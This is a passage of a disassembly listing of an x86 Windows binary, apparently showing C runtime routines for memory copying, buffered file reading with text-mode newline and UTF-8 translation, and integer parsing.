eax, eax pop ecx jnz short locret_413899 cmp dword_423060, 1 jnz short locret_413899 loc_413883: ; CODE XREF: sub_413861+Bj push 0FCh call sub_4136C1 push 0FFh call sub_4136C1 pop ecx pop ecx locret_413899: ; CODE XREF: sub_413861+17j ; sub_413861+20j retn sub_413861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41389A proc near ; CODE XREF: sub_413921+4Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], edi mov [ebp+var_8], esi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] shr ecx, 7 jmp short loc_4138BA ; --------------------------------------------------------------------------- db 8Dh, 9Bh, 4 dup(0) ; --------------------------------------------------------------------------- loc_4138BA: ; CODE XREF: sub_41389A+18j ; sub_41389A+7Bj movdqa xmm0, oword ptr [esi] movdqa xmm1, oword ptr [esi+10h] movdqa xmm2, oword ptr [esi+20h] movdqa xmm3, oword ptr [esi+30h] movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm1 movdqa oword ptr [edi+20h], xmm2 movdqa oword ptr [edi+30h], xmm3 movdqa xmm4, oword ptr [esi+40h] movdqa xmm5, oword ptr [esi+50h] movdqa xmm6, oword ptr [esi+60h] movdqa xmm7, oword ptr [esi+70h] movdqa oword ptr [edi+40h], xmm4 movdqa oword ptr [edi+50h], xmm5 movdqa oword ptr [edi+60h], xmm6 movdqa oword ptr [edi+70h], xmm7 lea esi, [esi+80h] lea edi, [edi+80h] dec ecx jnz short loc_4138BA mov esi, [ebp+var_8] mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_41389A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413921 proc near ; CODE XREF: sub_40D820+42j ; sub_411470+42j ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], edi mov [ebp+var_8], esi mov [ebp+var_4], ebx mov ebx, [ebp+arg_4] mov eax, ebx cdq mov ecx, eax mov eax, [ebp+arg_0] xor ecx, edx sub ecx, edx and ecx, 0Fh xor ecx, edx sub ecx, edx cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx mov edx, ecx or edx, edi jnz short loc_4139A4 mov esi, [ebp+arg_8] mov ecx, esi and ecx, 7Fh mov [ebp+var_18], ecx cmp esi, ecx jz short loc_41397C sub esi, ecx push esi push ebx push eax call sub_41389A add esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+var_18] loc_41397C: ; CODE XREF: sub_413921+46j test ecx, ecx jz short loc_4139F7 mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] add edx, ebx sub edx, ecx mov [ebp+var_14], edx add ebx, eax sub ebx, ecx mov [ebp+var_10], ebx mov esi, [ebp+var_14] mov edi, [ebp+var_10] mov ecx, [ebp+var_18] rep movsb mov eax, [ebp+arg_0] jmp short loc_4139F7 ; --------------------------------------------------------------------------- loc_4139A4: ; CODE XREF: sub_413921+37j cmp ecx, edi jnz short loc_4139DD neg ecx add ecx, 10h mov [ebp+var_1C], ecx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+var_1C] rep movsb mov ecx, [ebp+arg_0] add ecx, [ebp+var_1C] mov edx, [ebp+arg_4] add edx, [ebp+var_1C] mov eax, [ebp+arg_8] sub eax, [ebp+var_1C] push eax push edx push ecx call sub_413921 add esp, 0Ch mov eax, [ebp+arg_0] jmp short loc_4139F7 ; --------------------------------------------------------------------------- loc_4139DD: ; CODE XREF: sub_413921+85j mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebp+arg_0] loc_4139F7: ; CODE XREF: sub_413921+5Dj ; sub_413921+81j ... mov ebx, [ebp+var_4] mov esi, [ebp+var_8] mov edi, [ebp+var_C] mov esp, ebp pop ebp retn sub_413921 endp ; =============== S U B R O U T I N E ======================================= sub_413A04 proc near ; CODE XREF: sub_40DBB4+EDp ; sub_412A39+Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi cmp esi, edi jnz short loc_413A2D call sub_40F7D4 push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h jmp loc_413B1E ; --------------------------------------------------------------------------- loc_413A2D: ; CODE XREF: sub_413A04+Aj mov eax, [esi+0Ch] test al, 83h jz loc_413B1E test al, 40h jnz loc_413B1E test al, 2 jz short loc_413A4F or eax, 20h mov [esi+0Ch], eax jmp loc_413B1E ; --------------------------------------------------------------------------- loc_413A4F: ; CODE XREF: sub_413A04+3Ej or eax, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_413A64 push esi call sub_41725C pop ecx jmp short loc_413A69 ; --------------------------------------------------------------------------- loc_413A64: ; CODE XREF: sub_413A04+55j mov eax, [esi+8] mov [esi], eax loc_413A69: ; CODE XREF: sub_413A04+5Ej push dword ptr [esi+18h] push dword ptr [esi+8] push esi call sub_4126A4 pop ecx push eax call sub_4140C6 add esp, 0Ch cmp eax, edi mov [esi+4], eax jz loc_413B0E cmp eax, 0FFFFFFFFh jz short loc_413B0E test byte ptr [esi+0Ch], 82h jnz short loc_413AE4 push esi call sub_4126A4 cmp eax, 0FFFFFFFFh pop ecx jz short loc_413ACF push esi call sub_4126A4 cmp eax, 0FFFFFFFEh pop ecx jz short loc_413ACF push esi call sub_4126A4 sar eax, 5 push esi lea edi, ds:433C00h[eax*4] call sub_4126A4 and eax, 1Fh imul eax, 28h add eax, [edi] pop ecx pop ecx jmp short loc_413AD4 ; --------------------------------------------------------------------------- loc_413ACF: ; CODE XREF: sub_413A04+9Bj ; sub_413A04+A7j mov eax, offset dword_423BB8 loc_413AD4: ; CODE XREF: sub_413A04+C9j mov al, [eax+4] and al, 82h cmp al, 82h jnz short loc_413AE4 or dword ptr [esi+0Ch], 2000h loc_413AE4: ; CODE XREF: sub_413A04+8Fj ; sub_413A04+D7j cmp dword ptr [esi+18h], 200h jnz short loc_413B01 mov eax, [esi+0Ch] test al, 8 jz short loc_413B01 test ax, 400h jnz short loc_413B01 mov dword ptr [esi+18h], 1000h loc_413B01: ; CODE XREF: sub_413A04+E7j ; sub_413A04+EEj ... mov ecx, [esi] dec dword ptr [esi+4] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_413B21 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413A04+80j ; sub_413A04+89j neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax mov [esi+4], edi loc_413B1E: ; CODE XREF: sub_413A04+24j ; sub_413A04+2Ej ... or eax, 0FFFFFFFFh loc_413B21: ; CODE XREF: sub_413A04+108j pop edi pop esi retn sub_413A04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B24 proc near ; CODE XREF: sub_4140C6+9Ap ; sub_417C3F+355p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov edx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push 0FFFFFFFEh pop eax cmp esi, eax mov [ebp+var_14], eax mov [ebp+var_1C], edx jnz short loc_413B59 call sub_40F7E7 and dword ptr [eax], 0 call sub_40F7D4 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_4140C3 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413B24+18j push edi xor edi, edi cmp esi, edi jl short loc_413B68 cmp esi, dword_433BE4 jb short loc_413B8F loc_413B68: ; CODE XREF: sub_413B24+3Aj call sub_40F7E7 mov [eax], edi call sub_40F7D4 push edi push edi push edi push edi push edi mov dword ptr [eax], 9 call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp loc_4140C2 ; --------------------------------------------------------------------------- loc_413B8F: ; CODE XREF: sub_413B24+42j mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 push ebx lea ebx, ds:433C00h[eax*4] mov eax, [ebx] add eax, esi mov cl, [eax+4] test cl, 1 jnz short loc_413BC5 call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 9 jmp loc_413D0C ; --------------------------------------------------------------------------- loc_413BC5: ; CODE XREF: sub_413B24+88j cmp edx, edi mov [ebp+var_10], edi jz loc_4140BF test cl, 2 jnz loc_4140BF mov ecx, [ebp+arg_4] cmp ecx, edi jz loc_413CFA mov al, [eax+24h] add al, al sar al, 1 mov [ebp+var_2], al movsx eax, al dec eax jz loc_413CF2 dec eax jnz short loc_413C0D mov eax, edx not eax test al, 1 jz loc_413CFA and edx, 0FFFFFFFEh mov [ebp+arg_8], edx loc_413C0D: ; CODE XREF: sub_413B24+D5j mov [ebp+var_C], ecx loc_413C10: ; CODE XREF: sub_413B24+216j mov ecx, [ebx] mov eax, [ebp+var_C] lea edi, [esi+ecx] test byte ptr [edi+4], 48h jz short loc_413C94 mov cl, [edi+5] cmp cl, 0Ah jz short loc_413C94 xor edx, edx cmp [ebp+arg_8], edx jz short loc_413C94 mov [eax], cl mov ecx, [ebx] inc eax dec [ebp+arg_8] cmp [ebp+var_2], dl mov [ebp+var_10], 1 mov byte ptr [esi+ecx+5], 0Ah jz short loc_413C94 mov ecx, [ebx] mov cl, [esi+ecx+25h] cmp cl, 0Ah jz short loc_413C94 cmp [ebp+arg_8], edx jz short loc_413C94 mov [eax], cl mov ecx, [ebx] inc eax dec [ebp+arg_8] cmp [ebp+var_2], 1 mov [ebp+var_10], 2 mov byte ptr [esi+ecx+25h], 0Ah jnz short loc_413C94 mov ecx, [ebx] mov cl, [esi+ecx+26h] cmp cl, 0Ah jz short loc_413C94 cmp [ebp+arg_8], edx jz short loc_413C94 mov [eax], cl mov ecx, [ebx] inc eax dec [ebp+arg_8] mov [ebp+var_10], 3 mov byte ptr [esi+ecx+26h], 0Ah loc_413C94: ; CODE XREF: sub_413B24+F8j ; sub_413B24+100j ... push 0 lea ecx, [ebp+var_18] push ecx push [ebp+arg_8] push eax mov eax, [ebx] push dword ptr [esi+eax] call ds:off_41E068 test eax, eax jz loc_414089 mov edi, [ebp+var_18] test edi, edi jl loc_414089 cmp edi, [ebp+arg_8] ja loc_414089 mov eax, [ebx] add [ebp+var_10], edi lea eax, [esi+eax+4] test byte ptr [eax], 80h jz loc_413F29 cmp [ebp+var_2], 2 jz loc_413F53 test edi, edi jz short loc_413D5E mov ecx, [ebp+var_C] cmp byte ptr [ecx], 0Ah jnz short loc_413D5E or byte ptr [eax], 4 jmp short loc_413D61 ; --------------------------------------------------------------------------- loc_413CF2: ; CODE XREF: sub_413B24+CEj mov eax, edx not eax test al, 1 jnz short loc_413D1B loc_413CFA: ; CODE XREF: sub_413B24+BAj ; sub_413B24+DDj call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 16h loc_413D0C: ; CODE XREF: sub_413B24+9Cj push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h jmp short loc_413D56 ; --------------------------------------------------------------------------- loc_413D1B: ; CODE XREF: sub_413B24+1D4j mov eax, edx push 4 pop ecx shr eax, 1 cmp eax, ecx mov [ebp+arg_8], ecx jb short loc_413D2C mov [ebp+arg_8], eax loc_413D2C: ; CODE XREF: sub_413B24+203j push [ebp+arg_8] call sub_41183A cmp eax, edi pop ecx mov [ebp+var_C], eax jnz loc_413C10 call sub_40F7D4 mov dword ptr [eax], 0Ch call sub_40F7E7 mov dword ptr [eax], 8 loc_413D56: ; CODE XREF: sub_413B24+1F5j or eax, 0FFFFFFFFh jmp loc_4140C1 ; --------------------------------------------------------------------------- loc_413D5E: ; CODE XREF: sub_413B24+1BFj ; sub_413B24+1C7j and byte ptr [eax], 0FBh loc_413D61: ; CODE XREF: sub_413B24+1CCj mov edi, [ebp+var_C] mov eax, [ebp+var_10] add eax, edi cmp edi, eax mov [ebp+arg_8], edi mov [ebp+var_10], eax jnb loc_413E47 loc_413D77: ; CODE XREF: sub_413B24+306j mov ecx, [ebp+arg_8] mov al, [ecx] cmp al, 1Ah jz loc_413E32 cmp al, 0Dh jz short loc_413D94 mov [edi], al inc edi inc ecx mov [ebp+arg_8], ecx jmp loc_413E24 ; --------------------------------------------------------------------------- loc_413D94: ; CODE XREF: sub_413B24+262j mov eax, [ebp+var_10] dec eax cmp ecx, eax jnb short loc_413DB3 lea eax, [ecx+1] cmp byte ptr [eax], 0Ah jnz short loc_413DAE inc ecx inc ecx mov [ebp+arg_8], ecx loc_413DA9: ; CODE XREF: sub_413B24+2CAj ; sub_413B24+2E3j mov byte ptr [edi], 0Ah jmp short loc_413E23 ; --------------------------------------------------------------------------- loc_413DAE: ; CODE XREF: sub_413B24+27Ej mov [ebp+arg_8], eax jmp short loc_413E20 ; --------------------------------------------------------------------------- loc_413DB3: ; CODE XREF: sub_413B24+276j inc [ebp+arg_8] push 0 lea eax, [ebp+var_18] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [ebx] push dword ptr [esi+eax] call ds:off_41E068 test eax, eax jnz short loc_413DDB call ds:dword_41E0D8 ; RtlGetLastWin32Error test eax, eax jnz short loc_413E20 loc_413DDB: ; CODE XREF: sub_413B24+2ABj cmp [ebp+var_18], 0 jz short loc_413E20 mov eax, [ebx] test byte ptr [esi+eax+4], 48h jz short loc_413DFE cmp [ebp+var_1], 0Ah jz short loc_413DA9 mov byte ptr [edi], 0Dh mov eax, [ebx] mov cl, [ebp+var_1] mov [esi+eax+5], cl jmp short loc_413E23 ; --------------------------------------------------------------------------- loc_413DFE: ; CODE XREF: sub_413B24+2C4j cmp edi, [ebp+var_C] jnz short loc_413E09 cmp [ebp+var_1], 0Ah jz short loc_413DA9 loc_413E09: ; CODE XREF: sub_413B24+2DDj push 1 push 0FFFFFFFFh push 0FFFFFFFFh push [ebp+arg_0] call sub_416A1E add esp, 10h cmp [ebp+var_1], 0Ah jz short loc_413E24 loc_413E20: ; CODE XREF: sub_413B24+28Dj ; sub_413B24+2B5j ... mov byte ptr [edi], 0Dh loc_413E23: ; CODE XREF: sub_413B24+288j ; sub_413B24+2D8j inc edi loc_413E24: ; CODE XREF: sub_413B24+26Bj ; sub_413B24+2FAj mov eax, [ebp+var_10] cmp [ebp+arg_8], eax jb loc_413D77 jmp short loc_413E47 ; --------------------------------------------------------------------------- loc_413E32: ; CODE XREF: sub_413B24+25Aj mov eax, [ebx] lea eax, [esi+eax+4] test byte ptr [eax], 40h jnz short loc_413E42 or byte ptr [eax], 2 jmp short loc_413E47 ; --------------------------------------------------------------------------- loc_413E42: ; CODE XREF: sub_413B24+317j mov al, [ecx] mov [edi], al inc edi loc_413E47: ; CODE XREF: sub_413B24+24Dj ; sub_413B24+30Cj ... mov eax, edi sub eax, [ebp+var_C] cmp [ebp+var_2], 1 mov [ebp+var_10], eax jnz loc_413F29 test eax, eax jz loc_413F29 dec edi mov cl, [edi] test cl, cl js short loc_413E6E inc edi jmp loc_413EF4 ; --------------------------------------------------------------------------- loc_413E6E: ; CODE XREF: sub_413B24+342j xor eax, eax inc eax movzx ecx, cl jmp short loc_413E85 ; --------------------------------------------------------------------------- loc_413E76: ; CODE XREF: sub_413B24+368j cmp eax, 4 jg short loc_413E8E cmp edi, [ebp+var_C] jb short loc_413E8E dec edi movzx ecx, byte ptr [edi] inc eax loc_413E85: ; CODE XREF: sub_413B24+350j cmp byte_423C98[ecx], 0 jz short loc_413E76 loc_413E8E: ; CODE XREF: sub_413B24+355j ; sub_413B24+35Aj mov dl, [edi] movzx ecx, dl movsx ecx, byte_423C98[ecx] test ecx, ecx jnz short loc_413EAB call sub_40F7D4 mov dword ptr [eax], 2Ah jmp short loc_413F25 ; --------------------------------------------------------------------------- loc_413EAB: ; CODE XREF: sub_413B24+378j inc ecx cmp ecx, eax jnz short loc_413EB4 add edi, eax jmp short loc_413EF4 ; --------------------------------------------------------------------------- loc_413EB4: ; CODE XREF: sub_413B24+38Aj mov ecx, [ebx] add ecx, esi test byte ptr [ecx+4], 48h jz short loc_413EE2 inc edi cmp eax, 2 mov [ecx+5], dl jl short loc_413ED0 mov dl, [edi] mov ecx, [ebx] mov [esi+ecx+25h], dl inc edi loc_413ED0: ; CODE XREF: sub_413B24+3A1j cmp eax, 3 jnz short loc_413EDE mov dl, [edi] mov ecx, [ebx] mov [esi+ecx+26h], dl inc edi loc_413EDE: ; CODE XREF: sub_413B24+3AFj sub edi, eax jmp short loc_413EF4 ; --------------------------------------------------------------------------- loc_413EE2: ; CODE XREF: sub_413B24+398j neg eax cdq push 1 push edx push eax push [ebp+arg_0] call sub_416A1E add esp, 10h loc_413EF4: ; CODE XREF: sub_413B24+345j ; sub_413B24+38Ej ... mov eax, [ebp+var_1C] sub edi, [ebp+var_C] shr eax, 1 push eax push [ebp+arg_4] push edi push [ebp+var_C] push 0 push 0FDE9h call ds:dword_41E08C ; MultiByteToWideChar test eax, eax mov [ebp+var_10], eax jnz short loc_413F4C call ds:dword_41E0D8 ; RtlGetLastWin32Error loc_413F1E: ; CODE XREF: sub_413B24+58Cj push eax call sub_40F7FA pop ecx loc_413F25: ; CODE XREF: sub_413B24+385j ; sub_413B24+584j or [ebp+var_14], 0FFFFFFFFh loc_413F29: ; CODE XREF: sub_413B24+1ADj ; sub_413B24+32Fj ... mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jz short loc_413F38 push eax call sub_40D35A pop ecx loc_413F38: ; CODE XREF: sub_413B24+40Bj mov eax, [ebp+var_14] cmp eax, 0FFFFFFFEh jnz loc_4140C1 mov eax, [ebp+var_10] jmp loc_4140C1 ; --------------------------------------------------------------------------- loc_413F4C: ; CODE XREF: sub_413B24+3F2j add eax, eax mov [ebp+var_10], eax jmp short loc_413F29 ; --------------------------------------------------------------------------- loc_413F53: ; CODE XREF: sub_413B24+1B7j test edi, edi jz short loc_413F65 mov ecx, [ebp+var_C] cmp word ptr [ecx], 0Ah jnz short loc_413F65 or byte ptr [eax], 4 jmp short loc_413F68 ; --------------------------------------------------------------------------- loc_413F65: ; CODE XREF: sub_413B24+431j ; sub_413B24+43Aj and byte ptr [eax], 0FBh loc_413F68: ; CODE XREF: sub_413B24+43Fj mov edi, [ebp+var_C] mov eax, [ebp+var_10] add eax, edi cmp edi, eax mov [ebp+arg_8], edi mov [ebp+var_10], eax jnb loc_41407E loc_413F7E: ; CODE XREF: sub_413B24+53Aj mov eax, [ebp+arg_8] movzx ecx, word ptr [eax] cmp cx, 1Ah jz loc_414066 cmp cx, 0Dh jz short loc_413FA3 mov [edi], cx inc edi inc edi inc eax inc eax mov [ebp+arg_8], eax jmp loc_414058 ; --------------------------------------------------------------------------- loc_413FA3: ; CODE XREF: sub_413B24+46Ej mov ecx, [ebp+var_10] add ecx, 0FFFFFFFEh cmp eax, ecx jnb short loc_413FCE lea ecx, [eax+2] cmp word ptr [ecx], 0Ah jnz short loc_413FC6 add eax, 4 mov [ebp+arg_8], eax loc_413FBC: ; CODE XREF: sub_413B24+4E7j ; sub_413B24+513j mov word ptr [edi], 0Ah jmp loc_414056 ; --------------------------------------------------------------------------- loc_413FC6: ; CODE XREF: sub_413B24+490j mov [ebp+arg_8], ecx jmp loc_414051 ; --------------------------------------------------------------------------- loc_413FCE: ; CODE XREF: sub_413B24+487j add [ebp+arg_8], 2 push 0 lea eax, [ebp+var_18] push eax push 2 lea eax, [ebp+var_8] push eax mov eax, [ebx] push dword ptr [esi+eax] call ds:off_41E068 test eax, eax jnz short loc_413FF7 call ds:dword_41E0D8 ; RtlGetLastWin32Error test eax, eax jnz short loc_414051 loc_413FF7: ; CODE XREF: sub_413B24+4C7j cmp [ebp+var_18], 0 jz short loc_414051 mov eax, [ebx] test byte ptr [esi+eax+4], 48h jz short loc_41402D cmp [ebp+var_8], 0Ah jz short loc_413FBC mov word ptr [edi], 0Dh mov eax, [ebx] mov cl, byte ptr [ebp+var_8] mov [esi+eax+5], cl mov eax, [ebx] mov cl, byte ptr [ebp+var_8+1] mov [esi+eax+25h], cl mov eax, [ebx] mov byte ptr [esi+eax+26h], 0Ah jmp short loc_414056 ; --------------------------------------------------------------------------- loc_41402D: ; CODE XREF: sub_413B24+4E0j cmp edi, [ebp+var_C] jnz short loc_414039 cmp [ebp+var_8], 0Ah jz short loc_413FBC loc_414039: ; CODE XREF: sub_413B24+50Cj push 1 push 0FFFFFFFFh push 0FFFFFFFEh push [ebp+arg_0] call sub_416A1E add esp, 10h cmp [ebp+var_8], 0Ah jz short loc_414058 loc_414051: ; CODE XREF: sub_413B24+4A5j ; sub_413B24+4D1j ... mov word ptr [edi], 0Dh loc_414056: ; CODE XREF: sub_413B24+49Dj ; sub_413B24+507j inc edi inc edi loc_414058: ; CODE XREF: sub_413B24+47Aj ; sub_413B24+52Bj mov eax, [ebp+var_10] cmp [ebp+arg_8], eax jb loc_413F7E jmp short loc_41407E ; --------------------------------------------------------------------------- loc_414066: ; CODE XREF: sub_413B24+464j mov ecx, [ebx] lea esi, [esi+ecx+4] test byte ptr [esi], 40h jnz short loc_414076 or byte ptr [esi], 2 jmp short loc_41407E ; --------------------------------------------------------------------------- loc_414076: ; CODE XREF: sub_413B24+54Bj mov ax, [eax] mov [edi], ax inc edi inc edi loc_41407E: ; CODE XREF: sub_413B24+454j ; sub_413B24+540j ... sub edi, [ebp+var_C] mov [ebp+var_10], edi jmp loc_413F29 ; --------------------------------------------------------------------------- loc_414089: ; CODE XREF: sub_413B24+187j ; sub_413B24+192j ... call ds:dword_41E0D8 ; RtlGetLastWin32Error push 5 pop esi cmp eax, esi jnz short loc_4140AD call sub_40F7D4 mov dword ptr [eax], 9 call sub_40F7E7 mov [eax], esi jmp loc_413F25 ; --------------------------------------------------------------------------- loc_4140AD: ; CODE XREF: sub_413B24+570j cmp eax, 6Dh jnz loc_413F1E and [ebp+var_14], 0 jmp loc_413F29 ; --------------------------------------------------------------------------- loc_4140BF: ; CODE XREF: sub_413B24+A6j ; sub_413B24+AFj xor eax, eax loc_4140C1: ; CODE XREF: sub_413B24+235j ; sub_413B24+41Aj ... pop ebx loc_4140C2: ; CODE XREF: sub_413B24+66j pop edi loc_4140C3: ; CODE XREF: sub_413B24+30j pop esi leave retn sub_413B24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140C6 proc near ; CODE XREF: sub_40DBB4+C9p ; sub_413A04+73p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_421B98 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4140F5 call sub_40F7E7 and dword ptr [eax], 0 call sub_40F7D4 mov dword ptr [eax], 9 loc_4140ED: ; CODE XREF: sub_4140C6+5Cj or eax, 0FFFFFFFFh jmp loc_414192 ; --------------------------------------------------------------------------- loc_4140F5: ; CODE XREF: sub_4140C6+12j xor edi, edi cmp eax, edi jl short loc_414103 cmp eax, dword_433BE4 jb short loc_414124 loc_414103: ; CODE XREF: sub_4140C6+33j ; sub_4140C6+7Cj call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h jmp short loc_4140ED ; --------------------------------------------------------------------------- loc_414124: ; CODE XREF: sub_4140C6+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:433C00h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_414103 push eax call sub_4189BA pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41416D push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_413B24 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_414183 ; --------------------------------------------------------------------------- loc_41416D: ; CODE XREF: sub_4140C6+8Fj call sub_40F7D4 mov dword ptr [eax], 9 call sub_40F7E7 mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_414183: ; CODE XREF: sub_4140C6+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_414198 mov eax, [ebp+var_1C] loc_414192: ; CODE XREF: sub_4140C6+2Aj call __SEH_epilog4 retn sub_4140C6 endp ; =============== S U B R O U T I N E ======================================= sub_414198 proc near ; CODE XREF: sub_4140C6+C4p ; DATA XREF: r69pu5ti:00421BB0o push dword ptr [ebp+8] call sub_418A5A pop ecx retn sub_414198 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141A2 proc near ; CODE XREF: sub_4143CD:loc_4143ECp var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push esi push edi push [ebp+arg_0] lea ecx, [ebp+var_14] call sub_40AB59 mov eax, [ebp+arg_8] mov esi, [ebp+arg_4] xor edi, edi cmp eax, edi jz short loc_4141C3 mov [eax], esi loc_4141C3: ; CODE XREF: sub_4141A2+1Dj cmp esi, edi jnz short loc_4141F3 loc_4141C7: ; CODE XREF: sub_4141A2+5Aj ; sub_4141A2+60j call sub_40F7D4 push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h cmp [ebp+var_8], 0 jz short loc_4141EC mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_4141EC: ; CODE XREF: sub_4141A2+41j xor eax, eax jmp loc_4143C9 ; --------------------------------------------------------------------------- loc_4141F3: ; CODE XREF: sub_4141A2+23j cmp [ebp+arg_C], edi jz short loc_414204 cmp [ebp+arg_C], 2 jl short loc_4141C7 cmp [ebp+arg_C], 24h jg short loc_4141C7 loc_414204: ; CODE XREF: sub_4141A2+54j mov ecx, [ebp+var_14] push ebx mov bl, [esi] mov [ebp+var_4], edi lea edi, [esi+1] loc_414210: ; CODE XREF: sub_4141A2+A5j cmp dword ptr [ecx+0ACh], 1 jle short loc_414230 lea eax, [ebp+var_14] push eax movzx eax, bl push 8 push eax call sub_4167A4 mov ecx, [ebp+var_14] add esp, 0Ch jmp short loc_414240 ; --------------------------------------------------------------------------- loc_414230: ; CODE XREF: sub_4141A2+75j mov edx, [ecx+0C8h] movzx eax, bl movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_414240: ; CODE XREF: sub_4141A2+8Cj test eax, eax jz short loc_414249 mov bl, [edi] inc edi jmp short loc_414210 ; --------------------------------------------------------------------------- loc_414249: ; CODE XREF: sub_4141A2+A0j cmp bl, 2Dh jnz short loc_414254 or [ebp+arg_10], 2 jmp short loc_414259 ; --------------------------------------------------------------------------- loc_414254: ; CODE XREF: sub_4141A2+AAj cmp bl, 2Bh jnz short loc_41425C loc_414259: ; CODE XREF: sub_4141A2+B0j mov bl, [edi] inc edi loc_41425C: ; CODE XREF: sub_4141A2+B5j mov eax, [ebp+arg_C] test eax, eax jl loc_4143B0 cmp eax, 1 jz loc_4143B0 cmp eax, 24h jg loc_4143B0 test eax, eax jnz short loc_4142A7 cmp bl, 30h jz short loc_41428B mov [ebp+arg_C], 0Ah jmp short loc_4142BF ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141A2+DEj mov al, [edi] cmp al, 78h jz short loc_41429E cmp al, 58h jz short loc_41429E mov [ebp+arg_C], 8 jmp short loc_4142BF ; --------------------------------------------------------------------------- loc_41429E: ; CODE XREF: sub_4141A2+EDj ; sub_4141A2+F1j mov [ebp+arg_C], 10h jmp short loc_4142B1 ; --------------------------------------------------------------------------- loc_4142A7: ; CODE XREF: sub_4141A2+D9j cmp eax, 10h jnz short loc_4142BF cmp bl, 30h jnz short loc_4142BF loc_4142B1: ; CODE XREF: sub_4141A2+103j mov al, [edi] cmp al, 78h jz short loc_4142BB cmp al, 58h jnz short loc_4142BF loc_4142BB: ; CODE XREF: sub_4141A2+113j inc edi mov bl, [edi] inc edi loc_4142BF: ; CODE XREF: sub_4141A2+E7j ; sub_4141A2+FAj ... mov esi, [ecx+0C8h] or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_C] loc_4142CD: ; CODE XREF: sub_4141A2+19Dj movzx ecx, bl movzx ecx, word ptr [esi+ecx*2] test cl, 4 jz short loc_4142E1 movsx ecx, bl sub ecx, 30h jmp short loc_4142FB ; --------------------------------------------------------------------------- loc_4142E1: ; CODE XREF: sub_4141A2+135j test cx, 103h jz short loc_414319 mov cl, bl sub cl, 61h cmp cl, 19h movsx ecx, bl ja short loc_4142F8 sub ecx, 20h loc_4142F8: ; CODE XREF: sub_4141A2+151j add ecx, 0FFFFFFC9h loc_4142FB: ; CODE XREF: sub_4141A2+13Dj cmp ecx, [ebp+arg_C] jnb short loc_414319 or [ebp+arg_10], 8 cmp [ebp+var_4], eax jb short loc_414330 jnz short loc_41430F cmp ecx, edx jbe short loc_414330 